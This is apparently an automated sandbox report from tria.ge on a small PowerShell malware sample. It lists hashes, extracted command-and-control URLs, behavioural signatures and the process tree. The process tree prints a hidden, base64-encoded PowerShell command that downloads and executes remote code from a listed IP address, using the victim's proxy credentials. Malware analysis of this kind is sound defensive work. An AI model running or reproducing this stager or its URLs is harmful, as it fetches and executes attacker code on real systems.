Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
119s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
04/09/2024, 02:21
Static task
static1
Behavioral task
behavioral1
Sample
d6513550cc5256ece6007aeafe9d39c4cda4c8ccab2daebe5c48d0583e1b02f6.ps1
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
d6513550cc5256ece6007aeafe9d39c4cda4c8ccab2daebe5c48d0583e1b02f6.ps1
Resource
win10v2004-20240802-en
General
-
Target
d6513550cc5256ece6007aeafe9d39c4cda4c8ccab2daebe5c48d0583e1b02f6.ps1
-
Size
1KB
-
MD5
506ab5ff15cbec266b783816aca9f5d0
-
SHA1
761fe13954ee140c3a32a058ca7654a3a6090a02
-
SHA256
d6513550cc5256ece6007aeafe9d39c4cda4c8ccab2daebe5c48d0583e1b02f6
-
SHA512
b8680737d8afe1dd1fff2a6ca919630c033cb5b7233a5f2bfebf7b629f28f341ffd4eb47b2a14df5d56b21187107c8fdf79fc7d93ace39891571108ca51aeece
Malware Config
Extracted
http://207.154.255.134:8443/ZIen7RH/1zFNrVrn0
http://207.154.255.134:8443/ZIen7RH
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 4 1324 powershell.exe 5 1324 powershell.exe -
pid Process 292 powershell.exe 1324 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 292 powershell.exe 1324 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 292 powershell.exe Token: SeDebugPrivilege 1324 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 292 wrote to memory of 1324 292 powershell.exe 31 PID 292 wrote to memory of 1324 292 powershell.exe 31 PID 292 wrote to memory of 1324 292 powershell.exe 31
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\d6513550cc5256ece6007aeafe9d39c4cda4c8ccab2daebe5c48d0583e1b02f6.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:292 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABsAE4AbwBpAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGwATgBvAGkALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABsAE4AbwBpAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMgAwADcALgAxADUANAAuADIANQA1AC4AMQAzADQAOgA4ADQANAAzAC8AWgBJAGUAbgA3AFIASAAvADEAegBGAE4AcgBWAHIAbgAwACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAyADAANwAuADEANQA0AC4AMgA1ADUALgAxADMANAA6ADgANAA0ADMALwBaAEkAZQBuADcAUgBIACcAKQApADsA2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1324
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD56275527caf77ed5640d7183f42f026b8
SHA13623015186cdaa0ed18f995058e75fedef9accbc
SHA2569ecd4cdd4dbe1761e4d8895137098b9909eece9ceb34956644cb51f7beca2212
SHA5123ee4af03335b16cca1f81a886830e351e45e4c5a075e173c2fee527b748c3e8a7e5260ceed7f463f8c30930575365f9647622cd62e110d35ab180872870811ae